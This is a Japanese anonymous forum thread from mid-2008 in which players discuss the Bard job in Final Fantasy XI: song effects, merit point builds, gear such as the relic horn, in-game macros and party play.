372 名前： 名も無き軍師 投稿日：2008/06/28(土) 04:10:25 ID:tMV8HWu0: 範囲が単体になった分
詠唱時間も短くしてくださいよ
373 名前： 名も無き軍師 投稿日：2008/06/28(土) 11:58:57 ID:IqiyoWMs: ■eが詩人を嫌ってるのは明白だろ
アトルガンの敵にレクイエム全部効かないとか嫌がらせってレベルじゃねーぞ
374 名前： 名も無き軍師 投稿日：2008/06/28(土) 12:50:10 ID:D38Gp6pB: まじめに詩人に今後必要なものを考えると
詩人本人がもっとＰＴに貢献してるのを感じれる要素だなー
現状メリポなら釣りしてるしコンテンツ系も詩人いないと
やってられないのはわかるけど基本歌ったらぼーっとしてること多いから
（回復サポートとかの突っ込みなしでｗ
例えば歌いっぱなしにすることで効果あげれるとかあればいいんだけどねえ
375 名前： 名も無き軍師 投稿日：2008/06/28(土) 13:03:05 ID:DJqFDR33: ぼーっとしてるってなら後衛間の連携が出来てないんだろう。
会話でもしてPT盛り上げる努力でもしたらどうだ？
376 名前： 名も無き軍師 投稿日：2008/06/28(土) 13:13:32 ID:IqiyoWMs: PT会話してると狩人などは攻撃止まるし後衛は回復なんかが疎かになる
盛り上げろってのは凄く無責任な発言だな
相手が反応しなけりゃ只の独り言になっちまうし
377 名前： 名も無き軍師 投稿日：2008/06/28(土) 13:23:03 ID:DJqFDR33: >>376
別に手を止めて無駄話をしろと言ってるわけじゃない。
ちょっとした会話でも中の人のテンションが上がって集中力が上がれば時給自体もよくなる。
ダラダラやってるだけのPTとやる気のあるPTじゃ雲泥の差が出るもんだぜ。

そういった口プレイもPスキルのうちだぜ。特に俺ら詩人なんだから。
378 名前： 名も無き軍師 投稿日：2008/06/28(土) 14:01:09 ID:dP34BlJo: 詩人は漫才師じゃねー
379 名前： 名も無き軍師 投稿日：2008/06/28(土) 14:27:41 ID:fzjl0FTS: 詩人は自分から釣りにいったりケアルしたりしない限りは眠くなるｗ
単調だからなｗ　漫画ジョブとかよりは忙しいけどｗ
380 名前： 名も無き軍師 投稿日：2008/06/28(土) 14:32:20 ID:DJqFDR33: 漫才師はあくまで自分が主人公、
詩人は自分自身は脇役。

そこは大きく違うが、終わった後「今日は楽しかった」って言ってもらいたい
って部分は同じかもしれんな。
381 名前： 名も無き軍師 投稿日：2008/06/28(土) 16:43:56 ID:isVzaZHE: 詩人でPTに入ってる時、釣り時に殴られずタゲも外れずというギリギリを楽しんでるのは俺だけじゃないよな？な？
殴られずに上手く釣れると妙な達成感がある
382 名前： 名も無き軍師 投稿日：2008/06/28(土) 17:05:33 ID:dP34BlJo: 詩人は闘牛士じゃねー
383 名前： 名も無き軍師 投稿日：2008/06/28(土) 17:09:29 ID:ZKpnTYzh: 好きな人が浮気してた
384 名前： 名も無き軍師 投稿日：2008/06/28(土) 19:04:17 ID:oVWuNas+: 詩人はみのもんたじゃねー
385 名前： 名も無き軍師 投稿日：2008/06/28(土) 19:42:05 ID:z5xD03Co: >>381
殴られないと潜在が発動しないんです＞＜；
386 名前： 名も無き軍師 投稿日：2008/06/29(日) 01:38:20 ID:xydfPcgJ: >>373
カンパニエの敵にも効かないのが悲しい
387 名前： 名も無き軍師 投稿日：2008/06/29(日) 12:40:21 ID:oYT/rW4+: >>386
サルベージでバフラウのボスに入ったのはバグ？
388 名前： 名も無き軍師 投稿日：2008/06/29(日) 13:20:02 ID:b8NXaI4V: サルベボスにはなぜか入る
フィールドの雑魚には入らない
389 名前： 名も無き軍師 投稿日：2008/06/29(日) 14:04:53 ID:/rh7I0fP: サルベージボスはスリップで倒す設計だから。
390 名前： 名も無き軍師 投稿日：2008/06/30(月) 10:04:35 ID:6ImTf5oG: レクイエム耐性持ち多いのも困るが
リンバス特にアポリオンでララバイ耐性持ちやたら多いのも困る
391 名前： 名も無き軍師 投稿日：2008/06/30(月) 11:44:09 ID:LPy9hB7p: 厳密には光睡眠耐性だな。
テメに闇睡眠耐性があるわけでもなく、
実装当時はリポーズなし、青魔もいなかったから
ピンポイントに詩人潰しだよなあれｗ
392 名前： 名も無き軍師 投稿日：2008/06/30(月) 11:45:28 ID:TdxwM4lH: ところでシャイルマンティル売却してマハトマうｐランドを買った俺はどうなの？
393 名前： 名も無き軍師 投稿日：2008/06/30(月) 12:23:08 ID:Ct71i+lX: エラントとシャイルは使い分けできるわけで・・・
詠唱時間短縮を捨て、CHR1上がったってことかな。敵対心-1もオマケか。
まぁなんだ、ｲｷﾛ。
394 名前： 名も無き軍師 投稿日：2008/06/30(月) 12:33:23 ID:G0GLuBe8: だって両方買うお金なんてなかったんだもん＞＜
395 名前： 名も無き軍師 投稿日：2008/06/30(月) 14:05:46 ID:T3q2W70I: >>392
イギト胴とって使い分けるといいと思うよ。
396 名前： 名も無き軍師 投稿日：2008/06/30(月) 14:43:39 ID:g/FXSa/W: 詩人で使う事限定すりゃ、○胴作ればマハトマもシャイルも要らんだろ。
あくまで詩人だけな。他のジョブにマハトマ流用云々なしで。。。な

結局は杖や楽器の着替えで点滅からは逃れられんけど(´・ω・｀)
397 名前： 名も無き軍師 投稿日：2008/06/30(月) 14:57:31 ID:AG8BPkO6: ○胴はねーだろｗ
例え、他の装備狙いで参加して、エンリル胴が流れてきたとしてもだ
398 名前： 名も無き軍師 投稿日：2008/06/30(月) 15:26:07 ID:lT4xV0cy: アルカルロプスバザーにあったよー
値段８Mってどうなんかな？
赤も詩人もやるからかなり良装備に見えるよー
399 名前： 名も無き軍師 投稿日：2008/06/30(月) 16:20:38 ID:E0B+UJ2p: いま8Mなら、まだまだ下がりそうだなあ。
いつかは欲しいけど、もうちょい待つか。
400 名前： 名も無き軍師 投稿日：2008/06/30(月) 16:24:04 ID:1LyBbwdn: >>398
ネ実から出てこないでください
401 名前： 名も無き軍師 投稿日：2008/06/30(月) 18:31:47 ID:xszDwLkN: 1000万払って作るかどうかは別として
マルとシャイルが手元にあるとしたら、マル装備し続けるな
着替えるのしんどいですし、おすし
402 名前： 名も無き軍師 投稿日：2008/06/30(月) 18:33:58 ID:G0GLuBe8: おすし！？
403 名前： 名も無き軍師 投稿日：2008/06/30(月) 21:54:02 ID:/VfcldUm: アルカル８Ｍってまじで！？鯖移動して買いに行くぞ
404 名前： 名も無き軍師 投稿日：2008/07/01(火) 16:22:00 ID:FI4tX7Rw: メリポカテゴリ１はララ５メヌ５派が多いのかな？
自分はララ５フィナ５にしたのだが、最近不安になってきた
405 名前： 名も無き軍師 投稿日：2008/07/01(火) 16:31:52 ID:v1SswkPG: フィナーレをそれほど頻繁にかけないといけないことって少なくない？
赤がいればそれに期待してもいいし

ただイカなどフィナーレでなくてはいけない場面もあるし、フィナ５段階を不安に思う必要はないと思う
メヌ５段なんてメリポでしか詩人使わなくて、どうせほかに振るものないしな～
と思って振っているようなものだからな
406 名前： 名も無き軍師 投稿日：2008/07/01(火) 19:07:46 ID:UJz36drg: マムのワームアップ（回避+命中　両方）はきつくね？
シフマムとかで連続できたら　それだけでチェーン切れる確率あがる。
407 名前： 名も無き軍師 投稿日：2008/07/01(火) 19:31:58 ID:hEHQCbqK: >>406
シフマムを連チャンしないように釣るのも詩人の腕だと思うけど・・・
と言いつつ、俺もララフィナ５振りだよｗ
408 名前： 名も無き軍師 投稿日：2008/07/01(火) 20:13:51 ID:mhfBzJ0v: シマムが連チャンする狩り場って何処よ？
409 名前： 名も無き軍師 投稿日：2008/07/01(火) 20:40:24 ID:9kkjF/NT: シマムが連続でワームアップしたらツライ。

という意味では？
410 名前： 名も無き軍師 投稿日：2008/07/01(火) 21:01:18 ID:/PAJvOjT: 詩人の敵歌も味方歌同様二曲縛りがあるのでしょうか？
411 名前： 名も無き軍師 投稿日：2008/07/01(火) 22:50:33 ID:t5Jwj2hH: 丸胴悪くないと思うけどなぁ～。
詠唱速度はコンビネーション加えてやっとイギトと同レベル(だよね？)だけど、
他は現状詩人で最適な装備じゃないかなぁー。

何よりエラント・シャイル・バーミリを鞄に入れなくて済むのが個人的に一番嬉しいｗｗｗ
作った動機の第一目標がソレですたｗ
412 名前： 名も無き軍師 投稿日：2008/07/01(火) 23:03:47 ID:XDpWzvsj: ○胴は良いよ～
コスト度外視さえすればね
413 名前： 名も無き軍師 投稿日：2008/07/02(水) 00:15:19 ID:COT4aA/s: そうだ・・・問題はコストなんだ
414 名前： 名も無き軍師 投稿日：2008/07/02(水) 08:25:55 ID:bZ1eU9zd: >>413
だよなぁ…○頭揃えてたら両方ともフリーで流れてきたわ
どうすんだよあれ。25と35揃っても全然嬉しくなくって涙出てきたし

良い装備なんだけどな、憧れるんだけどな…なんで900万もすんだよ
415 名前： 名も無き軍師 投稿日：2008/07/02(水) 19:02:27 ID:iNeJHkQT: メリポやるならララ５マド５だなー
雑魚前衛のときマドマドにすれば、さらに命中＋１０なんだぜ
マド一曲でも＋５はアツイ
剣侠をクジャクにさせてるのと一緒だもんな！
416 名前： 名も無き軍師 投稿日：2008/07/02(水) 20:02:28 ID:F+egpJJA: サルベージしてるとララ５フィナ５にしたくなるはずだ
417 名前： 名も無き軍師 投稿日：2008/07/02(水) 22:07:30 ID:mHpKYWoN: >>414
○胴完成すればシャイル処分できるし、差し引き500万強だ。
そう考えればそこまでコスト悩むこともあるまい！さぁ作るんだ！！
418 名前： 名も無き軍師 投稿日：2008/07/02(水) 22:08:21 ID:+mrhXiZD: サルベだけじゃなくて、デュナミスやエインヘリヤル
場合によってはリンバスあたりも含めて、どれか１つ
でもやっていると、フィナ５ララ５にしたくなることが多いかと
419 名前： 名も無き軍師 投稿日：2008/07/03(木) 00:54:44 ID:5HC6jDWQ: メリポ稼ぎまんどくせ

ただでさえ詩人不遇なんだから、
フィナーレ、ララバイと分けるんじゃなくて
全歌リキャ短縮のカテゴリにして欲しかった
420 名前： 名も無き軍師 投稿日：2008/07/03(木) 01:09:33 ID:ymO26Shc: リキャより詠唱時間を・・・
421 名前： 名も無き軍師 投稿日：2008/07/03(木) 01:47:54 ID:ea/YF0SM: 歌唱時間短縮メリポは欲しかったねえ。期待してたんだがｗ
422 名前： 名も無き軍師 投稿日：2008/07/03(木) 09:18:56 ID:UThI2Ac+: ミンネ効果をエレジー使用間隔に変更してほしい
423 名前： 名も無き軍師 投稿日：2008/07/03(木) 10:39:36 ID:pdD/osdb: 技術的に不可能と公言したはずの金庫＆鞄の容量拡張が実現したんだから
鞘とマントと歌毎の演奏曲実装マダー？
424 名前： 名も無き軍師 投稿日：2008/07/03(木) 11:46:55 ID:aahRNONE: >>410
敵にも２曲縛りはあるぜ！
詩人モンスが固まってると人数分×２曲かかってるｗ

それが最大限体感できるのがカンパのヤグ美少女とストーカーのみなさんだな
特にＮＭ本体の曲性能が厨二病仕様でメヌは攻撃力９９９に加えてＤ値大幅アップ
ミンネは防御９９９にダメカット付き、マンボは最高レベルのシーフの回避装備を遥かにぶっちぎる
とプレイヤー詩人に対する嫌がらせが満載されてる･･･orz

まさに『ぼくのかんがえたさいきょうのぼすしじん＾＾ｖ』だが達ララだけ何故か並性能なんだよなｗ
425 名前： 名も無き軍師 投稿日：2008/07/03(木) 12:08:35 ID:pdD/osdb: さすがに起きられないのはまずいと思ったんじゃない？
たぶん石化も同じ理由。
426 名前： 名も無き軍師 投稿日：2008/07/03(木) 12:15:26 ID:UThI2Ac+: >> 424
モンスの逹ララって超絶命中率じゃない
どれほどレベル差の開いた練習相手でもきっちり寝かせられる
ギデアスのヤグなんかにもれなく寝かせられるとかなり悲しいｗ
少なくとも5%はレジるんだろうけど、レジれた覚えがない

侍ＡＦクエ２の大鳥NMやったことある？
忍/踊ソロでやったんだが逹ララ→寝る→起きたくらいに逹ララで一瞬しか行動できないｗ
蝉がはがされるから殴られたら起きるんだが、レベル差とシグ効果で当たらないのでなかなか起きない
しかも他の歌一切なし、逹ララしかうたわねーの
「頼む！レクイエムを歌ってくれ！」と思いつつ、
戦闘時間の７割くらいは寝てたｗ
427 名前： 名も無き軍師 投稿日：2008/07/03(木) 12:21:56 ID:IrWXWPnw: >>426
服毒しろよｗ
428 名前： 名も無き軍師 投稿日：2008/07/03(木) 12:24:15 ID:IrWXWPnw: オイル、パウダー、毒、毒消し、やまびこ、目薬
これくらいは前後衛問わず常備薬だと思うんだけどな
429 名前： 名も無き軍師 投稿日：2008/07/03(木) 12:44:02 ID:5+3M/dJF: 毒、毒消し、目薬は流石に常備まではしないなあ。
金庫には常にあるけど。
430 名前： 426 投稿日：2008/07/03(木) 13:17:48 ID:UThI2Ac+: 大鳥としかしらんかったもんで
まさか歌って来るとは思ってなかったｗ
やりはじめてから「ああ、NMなら歌うかもな・・・」とｗ
意外な強敵だったよｗ

すまないがすべてを常備はしてないな
ソロでサポ踊だったからなおさらｗ

まぁ、逹ララも高性能じゃね？といいたかった・・・
431 名前： 名も無き軍師 投稿日：2008/07/03(木) 13:26:44 ID:IrWXWPnw: >>430
スマンスマン、噛みつくつもりじゃなかったんだ、悪く思わないでくれ
ララ・達ララって30秒しか持たないからな…
スリプルで上書きでないんだから、１分持ってくれればと思うな
432 名前： 430 投稿日：2008/07/03(木) 14:33:18 ID:UThI2Ac+: そろそろララ2欲しいよね
昔はBC行くなら詩人を確保しなければ話にならないてほどの御用達ジョブだったのに、
あっさりと黒に立場奪われたよね
ララバイて睡眠魔法というよりはキープ用魔法・・・
433 名前： 名も無き軍師 投稿日：2008/07/03(木) 15:07:50 ID:ea/YF0SM: せめてスリプルで上書きできるようにしてくれれば、まだまだ使える魔法だと思うんだけど
今だと、ララバイ歌われると迷惑になることすらあるからな・・・
434 名前： 名も無き軍師 投稿日：2008/07/03(木) 15:11:13 ID:IrWXWPnw: バインド歌もあると、上書き出来なくてもキープ対処し易いんだけどな
435 名前： 名も無き軍師 投稿日：2008/07/03(木) 15:26:03 ID:Zpt03vR/: たしかに、ララ２、ヘヴィ歌、バインド歌のどれかはほしいよね
436 名前： 名も無き軍師 投稿日：2008/07/03(木) 16:14:39 ID:uxbyH+In: 次は茨の歌じゃなかろうか
すでに使ってくる敵いるし
437 名前： 名も無き軍師 投稿日：2008/07/03(木) 17:34:05 ID:5HC6jDWQ: ■＜曲名まで考えてくれないと新歌実装できません＾＾；
438 名前： 名も無き軍師 投稿日：2008/07/03(木) 18:56:26 ID:AgnGoveI: サボテンダーフーガ
439 名前： 名も無き軍師 投稿日：2008/07/03(木) 19:37:14 ID:UThI2Ac+: 敵歌なら地獄エレが欲しいね
負の歌とか実装されたら
「ダメージソースになるのにディスペルする赤がいた！」とか言われるんだろうかｗ
そしてフィナーレも涙目
440 名前： 名も無き軍師 投稿日：2008/07/03(木) 20:44:05 ID:TGO9xXEF: >>436
茨はコルセアにあるから詩人には来ないよ
441 名前： 名も無き軍師 投稿日：2008/07/04(金) 08:42:37 ID:pPt9Orbd: バラを弦楽器にしようと以下のマクロを作ったんですが

管装備時から
/echo　バラ
/grin　<st>
/eq　イギト
/eq　弦楽器
/so　バラ　<me>

とすると、イギトの詠唱短縮は反映されるんだけど
弦の範囲が反映されず管装備時のままの範囲なんですが
１マクロで済む良いマクロ無いでしょうか・・・
442 名前： 名も無き軍師 投稿日：2008/07/04(金) 09:13:42 ID:YzDTNXHG: 弦の名前が間違ってて管装備してんじゃね？
装備を変更しました。ってのが2行出て範囲が変わらんってならバグかも知れないけど
443 名前： 441 投稿日：2008/07/04(金) 10:24:09 ID:pPt9Orbd: >>442
間違いなくそのマクロで管から弦へ変更してます
バグならテンプレ等に記載されてそうだし、私がどこかミスしてるのかもですね
帰宅後もう一度確認してみます、ありがとう
444 名前： 名も無き軍師 投稿日：2008/07/04(金) 11:00:21 ID:Hvv+TUfq: 自分のマクロは最後の2行の部分が

/so　バラ　<me>
/wait 1
/eq　弦楽器

みたいになってるけど、>>441でも普通に動きそうに思える。
445 名前： 名も無き軍師 投稿日：2008/07/04(金) 11:38:04 ID:TH1jq7oo: >>441
弦楽器スキルが低すぎるとか？
446 名前： 名も無き軍師 投稿日：2008/07/04(金) 11:45:55 ID:4mwfaP0X: >>441
バラード１でそうならおかしいけど、
バラード２を歌ってたりしないよね・・？
447 名前： 名も無き軍師 投稿日：2008/07/04(金) 12:19:24 ID:rq0v368c: バラ１は範囲広いけどバラ２は管楽器と範囲大して変わらないよ
ってこんなことじゃないよね？
448 名前： 441 投稿日：2008/07/04(金) 13:29:20 ID:pPt9Orbd: 沢山のレスありがとうございます
７５にもなってバラ１と２じゃ範囲が違うって初めて知りました
おそらくソレです・・・
お騒がせしました
449 名前： 名も無き軍師 投稿日：2008/07/04(金) 13:47:42 ID:+EAVzVwO: >>435
詠唱中断ないのにそんな歌実装されたら余計つまらなくなるきがするし
それなら赤やったほうがいい

自分的には６０あたりの特性でユニゾンとかかな
同系列の歌かければ効果それぞれ1･5倍になるとかで
450 名前： 名も無き軍師 投稿日：2008/07/04(金) 17:41:40 ID:fx6yR9t1: 全バランスぶっこわれるだろ
詩人がつまらなくなるんじゃなくヴァナがくだらんようになるわ
451 名前： 名も無き軍師 投稿日：2008/07/04(金) 18:07:33 ID:dZdsCH8k: 歌、アビの追加はいいから作曲させろ
452 名前： 名も無き軍師 投稿日：2008/07/04(金) 19:05:08 ID:uDYswfVr: 開発はピアニッシモ追加だけで何年引っ張るつもりか知らんが
マズルカのフィールド制限撤廃くらいは来てもいいだろ
453 名前： 名も無き軍師 投稿日：2008/07/04(金) 21:40:49 ID:UKig5uNo: ピアニシモ、今更何に使うんだ？と思っていたが、
メリポでもかなり使えるね。ありゃ便利だわ。
454 名前： 名も無き軍師 投稿日：2008/07/04(金) 23:29:58 ID:+j8brsnv: ちょーどレベル上げの途中できたから大いに活用させてもらってる。
後衛の場所まで走らなくていいことがこんなにありがたいとは…
455 名前： 名も無き軍師 投稿日：2008/07/05(土) 04:06:28 ID:ouKglhhP: バラード＋の楽器がほしいなー
ギャッラルは敷居が高すぎてねー

バランスくずれるって言うなら
せめてバラードの時間が２０秒のびる楽器が欲しい
456 名前： 名も無き軍師 投稿日：2008/07/05(土) 07:12:32 ID:u1aVxfj9: マズルカダンジョン限定を撤去するか
移動速度up装備を是非・・・

12%+が慣れてるせいか、ダンジョン内の移動速度が遅すぎるｗ
457 名前： 名も無き軍師 投稿日：2008/07/05(土) 09:23:45 ID:KVPvetvv: 最近復帰した詩人なんだがマクロが旧式でどうもピアニッシモに慣れれない
/equip 毒キノコ
/equip イギト胴
/equip 楽器
/ma 強化歌 <me>

って強化歌マクロだったから<me>を<stpc>にすりゃいいや！と思ったら点滅でｱｯｰ!!ってなるし・・・

/ma 強化歌 <stpc>
/equip 毒キノコ
/equip イギト胴
/equip 楽器

じゃイギトの短縮が適用されんよね？
パレット切り替えマクロとか有効活用必須なんだろうか
458 名前： 名も無き軍師 投稿日：2008/07/05(土) 10:26:35 ID:jsPgLU7Y: 敵歌を歌った後にイギト胴になるように仕込めばいいだけでは
459 名前： 名も無き軍師 投稿日：2008/07/05(土) 10:32:03 ID:7KbAx8e9: >457
/grin motion <st>
/equip 毒キノコ
/equip イギト胴
/equip 楽器
/ma 強化歌 <lastst>
460 名前： 名も無き軍師 投稿日：2008/07/05(土) 12:13:58 ID:tJ23vzM9: 話ぶったぎるけど、レリックあったらメリポのPT構成かなり変わるかな？
前衛で参加した際に1度だけ組めたことがあるんだが、バラ1＋バラ2で
7ずつMP回復はアホ過ぎだろ・・・ｗｗ
正直、メイン詩人引退しようかと思ったorz
461 名前： 名も無き軍師 投稿日：2008/07/05(土) 12:54:46 ID:mFYiVIOa: そこに赤のリフレも加わるワケだしなｗｗ(サンクリフレは回復過剰で発動しそうに無いｗ)
笑うしかねーなｗｗｗ
462 名前： 名も無き軍師 投稿日：2008/07/05(土) 13:29:11 ID:C2SjHYt5: 昔はそうだった
463 名前： 名も無き軍師 投稿日：2008/07/05(土) 13:34:13 ID:u1aVxfj9: ギャッラルあったところで、赤が楽になるくらいなもんで
構成は別に変わらんだろう
464 名前： 名も無き軍師 投稿日：2008/07/05(土) 13:36:57 ID:xs1rMcaA: ギャッラルってバラードの回復量が+1されるだけでそこまで凄い変わるわけでも無いんだよね...。
465 名前： 名も無き軍師 投稿日：2008/07/05(土) 14:43:31 ID:tJ23vzM9: >>464
いや、2ずつUPだよー。
バラ1で1、バラ2で2の合計3だったのが、バラ1で3、バラ2で4の合計7になる。
つまりレリックあるだけで通常のバラバラ＋リフレより上になる・・・ｗ
466 名前： 名も無き軍師 投稿日：2008/07/05(土) 14:44:12 ID:15mOPytT: +2だろ
バラバラなら4だ
でもヌルコンテンツ程度なら全然いらん
467 名前： 名も無き軍師 投稿日：2008/07/05(土) 14:59:38 ID:6zWrGIGB: 前衛の選択肢に青が入ってくるから構成変わるだろ。
MP供給潤沢なPTの青は強いよ。
468 名前： 名も無き軍師 投稿日：2008/07/05(土) 16:38:06 ID:ThOtn4u7: ナ赤盾が必要なコンテンツで、ギャッラル持ってても変わらんとか言い出したら
ヴァナの装備の99％に価値ねえなｗ
469 名前： 名も無き軍師 投稿日：2008/07/05(土) 17:25:54 ID:TZSbq9/m: メリポでギャッラル持ちと組んだ。
相当自信があるのか
釣りはしてくれたがサポ白。
自分がダメ食らう度に、ケアルガ2してた(笑)
気持ちは分かるけど、メリポ詩人は
やっぱりサポ忍だなと思いました。
470 名前： 名も無き軍師 投稿日：2008/07/05(土) 17:31:22 ID:IR/TdiIT: 歌のスロット３つにして、ステータスアップ歌と、耐性アップ歌に
カテゴリー分けて、同カテゴリーの歌なら２曲まで重ねがけできる
ってふうにしてくだあし
471 名前： 名も無き軍師 投稿日：2008/07/05(土) 17:38:50 ID:QiHBjpxl: >>469
あふれる自分のMPを有効活用するためにケアルガ２にして
前衛の回復もついでにやってたんじゃないのか？
サポ忍で避けちゃうよりは食らってケアルガ２したほうが
後衛のMPが浮いて効率はよい。
サポ白は計算のうちだろ。
472 名前： 名も無き軍師 投稿日：2008/07/05(土) 18:02:21 ID:TZSbq9/m: >>471
それこそギャッラルのお陰で
赤等のMPは余裕なんだよね。
ぼこぼこ殴られてケアルガする位なら
サポ忍で回復は任せて、さっさと
次の敵釣りに行った方がスムーズ。
自分も詩人する上での印象。
ギャッラルは持ってないけど(笑)
473 名前： 名も無き軍師 投稿日：2008/07/05(土) 18:08:45 ID:TZSbq9/m: あー、ごめん。構成次第かもしれんね。
赤吟のみなら、普通にありかも。
とりあえず自分の時は赤吟コだったので、
上の様な印象に。
とりあえずギャッラル欲しい。
474 名前： 名も無き軍師 投稿日：2008/07/05(土) 19:50:09 ID:UuQIRkC5: ギャッラル持ちの立ち回りを持ってない奴が批評すると
どう転んでも僻みにしか聞こえない！聞きにくい！
475 名前： 名も無き軍師 投稿日：2008/07/05(土) 20:14:28 ID:TZSbq9/m: うは。ギャッラル持ちのやる事に間違いはないと。
すごい考え方だね。
476 名前： 名も無き軍師 投稿日：2008/07/05(土) 22:39:17 ID:xpiLysm1: 持ってないのに全てを知っているかの如く語るほうがおかしい
477 名前： 名も無き軍師 投稿日：2008/07/06(日) 00:33:13 ID:CQHdTC11: メリポでの詩人の立ち回りなんか、
散々既出じゃん。
それと違った事が効率いいか悪いかなんて
PTメンなら誰でも分かるよ。
478 名前： 名も無き軍師 投稿日：2008/07/06(日) 01:01:23 ID:H0+J6/6x: ギャッラル持ちがいれば、前は蝉３じゃなくてもMP回るようになるんでない？

構成には幅ができそうだけどな～
479 名前： 名も無き軍師 投稿日：2008/07/06(日) 03:14:31 ID:IxfBgVxH: ピアニッシモについてもっと語ろうぜ！
このアビの神な所は、アラの奴にも歌えることなんだぜよ！！
480 名前： 名も無き軍師 投稿日：2008/07/06(日) 04:06:42 ID:efT/gDtD: え？そうなのか
481 名前： 名も無き軍師 投稿日：2008/07/06(日) 04:32:32 ID:67DCZzkl: >>479
まじで？
482 名前： 名も無き軍師 投稿日：2008/07/06(日) 08:06:36 ID:WFTNM27I: うわああああああああああ！！エロゲーやりてーよおおおおおおおおおおお
483 名前： 名も無き軍師 投稿日：2008/07/06(日) 11:23:58 ID:D+bEqhHy: >>459
通常もピアニッシモも対応できたは・・・採用
484 名前： 名も無き軍師 投稿日：2008/07/06(日) 15:29:41 ID:I8uf98YN: 吟じます。
485 名前： 名も無き軍師 投稿日：2008/07/06(日) 15:31:39 ID:I8uf98YN: なめてて～え～～え～～～え～～～～～
486 名前： 名も無き軍師 投稿日：2008/07/06(日) 20:09:32 ID:G6iTSKZi: >>742が妬みにしか見えない件について…

>>477　TZSbq9/m　日付またぎ自己擁護乙
ギャッラル前提のメリポptの動きなんて語りつくされてねえよ
487 名前： 名も無き軍師 投稿日：2008/07/06(日) 20:52:42 ID:CQHdTC11: >>486
君もしつこいね(笑)
だからさ、蝉PTで赤吟コでMP余裕のPTで、
食らう必要のないダメ食らって、する必要のない
ケアルする事が効率いいん？
ギャッラル持ちのPTの可能性の話じゃないよ？
488 名前： 名も無き軍師 投稿日：2008/07/06(日) 23:01:50 ID:G6iTSKZi: >>487
結局同一人物なのかｗｗ

ギャッラルだろうが廃装備だろうがアホはいる。

ギサポ白/サポ赤を上手く使いこなす人はいる。
たった一人つ限られた例で断定すんなよ

ていうか後付で構成書いたりして‥誇張して書いてるだけの構ってちゃんに見えてきたんだが
489 名前： 名も無き軍師 投稿日：2008/07/06(日) 23:09:57 ID:G6iTSKZi: て言うか意図的にageてるじゃん…釣られたクマー；
490 名前： 名も無き軍師 投稿日：2008/07/06(日) 23:22:46 ID:TgoA+1JV: でも実際、ギャッラルまである釣り詩人があえてサポ白にした方がいい場面なんて
現状のメリポ狩場では思いつかないけどなー、墓とかならともかく。
491 名前： 名も無き軍師 投稿日：2008/07/06(日) 23:29:17 ID:CQHdTC11: IDが違うだけで喜ばれても。
構成書いた後で妬みとか、
トンチンカンなレス来てるのに後付けとか(笑)
構成次第じゃ有りかもとも書いてるし。
そこまで赤吟コで吟がサポ白でケアルが
有りって言うのは組んでやってみての事だよな？
メリポでベストの効率求める上で
サポ忍での立ち回りと同等以上という
理由を教えてくれ。
492 名前： 名も無き軍師 投稿日：2008/07/06(日) 23:55:54 ID:G6iTSKZi: >>490
赤詩詩だとか、釣りしてくれるコ居るならギャッラルがサポ白でいいと
思うけども

サポ白は兎も角、サポ赤で釣りやってる詩人はギでなくてもいるしね
被弾した時も自己完結だし赤に手間かけさせない。
組んだ回数少ないけど、使いこなす人は上手い！

追伸　その話はもういいから…野良でサポ白のギと赤ギコで組む機会なんて
引退するまでないですしおすし
493 名前： 名も無き軍師 投稿日：2008/07/07(月) 00:11:02 ID:xFG380qk: >>492
根拠もなく、妬みとか噛み付いてたのか(笑)
まーいいや。お騒がせしました。ID変わってると思うけど。
494 名前： 名も無き軍師 投稿日：2008/07/07(月) 00:42:37 ID:T4dUylUK: メリポにギャッラルなんていりませんし
ちょっと赤や白が楽できるかな程度だ

時給は前衛レリックみたいに跳ね上がる事も無く
詩人が楽になるわけでもなく
釣りの方法やサポが変わるわけでもない
その程度のもん
495 名前： 名も無き軍師 投稿日：2008/07/07(月) 00:56:20 ID:TkwEeNTG: ギャッラルがいると、暗/侍とかモ/戦とかできたりして楽しい。
アタッカーが。
496 名前： 名も無き軍師 投稿日：2008/07/07(月) 01:34:33 ID:lxefR28R: そこまでしないとチェーン切れるとか敵があふれてるならともかく
まともな前衛でそれなりに混んでる狩場だとだめぽ。
弱い前衛をサポ侍やサポ戦にして貰って人並みにするためにギャッラルってのもな・・。

狩場超独占でマム監視あたりのど真ん中に居座って
時給3万だの4万だのいく廃PTなら有用な気もするけどね。
そんな人たちはそれこそ極一部だろう。
497 名前： 名も無き軍師 投稿日：2008/07/07(月) 06:51:56 ID:v8dEjPCQ: ギャッラルで本気で稼ぐ気なら青４詩コでやるのがよいだろうね。
498 名前： 名も無き軍師 投稿日：2008/07/07(月) 07:06:34 ID:KE+dYFAb: ミンストリングって、メリポ以外であって良かったって思える場所ある？
499 名前： 名も無き軍師 投稿日：2008/07/07(月) 11:00:56 ID:1BeIaeuc: レベル上げ。
500 名前： 名も無き軍師 投稿日：2008/07/07(月) 12:43:42 ID:WXOxluA0: とてクラスを乱獲するPTならレベル上げでもあって良かったと思えるが、とてとてクラスになるとレジ率が気になるからCHR指輪な俺。
歌の回しが楽になる分、色々仕事が出来て楽しいっちゃ楽しいので個々人で判断して使い分けるのがベスト装備だと思います。

最近、前衛・後衛の「詩人うめぇｗｗｗｗ」「歌うめぇｗｗｗｗ」が皮肉にしか聞こえなくなってきて居ても良いのか不安になる事も屡。
501 名前： 名も無き軍師 投稿日：2008/07/07(月) 12:54:48 ID:TkwEeNTG: >>500
裏で詩人がいるPTに入ると、テンション上がって
ソール+1食べたりレッドカレー食べたりする。

そんな俺もフルAFが着れました。
502 名前： 名も無き軍師 投稿日：2008/07/07(月) 19:17:22 ID:/q0M2M2C: ７５になってから、ようやくHQ杖×２を手に入れたぞ！
メリポ行ったことないけど･･････
503 名前： 名も無き軍師 投稿日：2008/07/07(月) 19:56:12 ID:A9BvhMMx: ｱﾗｲｱﾝｽで唯一の歌姫として
3PTを渡り歩いた時には役に立ちました^^
504 名前： 名も無き軍師 投稿日：2008/07/07(月) 20:23:10 ID:KE+dYFAb: うーん、やっぱレベリングやメリポくらいか。
サルや裏、花鳥風月なんてコンテンツだとどうしてもサポ白で白字発動狙えないしな・・・。

じゃあ質問代えるけど、とりあえず持っておいた方いいのってミンストとミュージックピアスだと後者かな？
ちなみに、レベル上げもメリポも終わってる。
505 名前： 名も無き軍師 投稿日：2008/07/07(月) 21:22:07 ID:kS8SG+cH: やっとこさ、バードキャニオンズを手に入れたんだけどこれって実用性ありますか...？
506 名前： 名も無き軍師 投稿日：2008/07/07(月) 21:27:27 ID:wAQUA54N: AF脚を打ち直すまでの繋ぎにつかえま～す
マハトマスロップス買わなくてもよくなりま～す
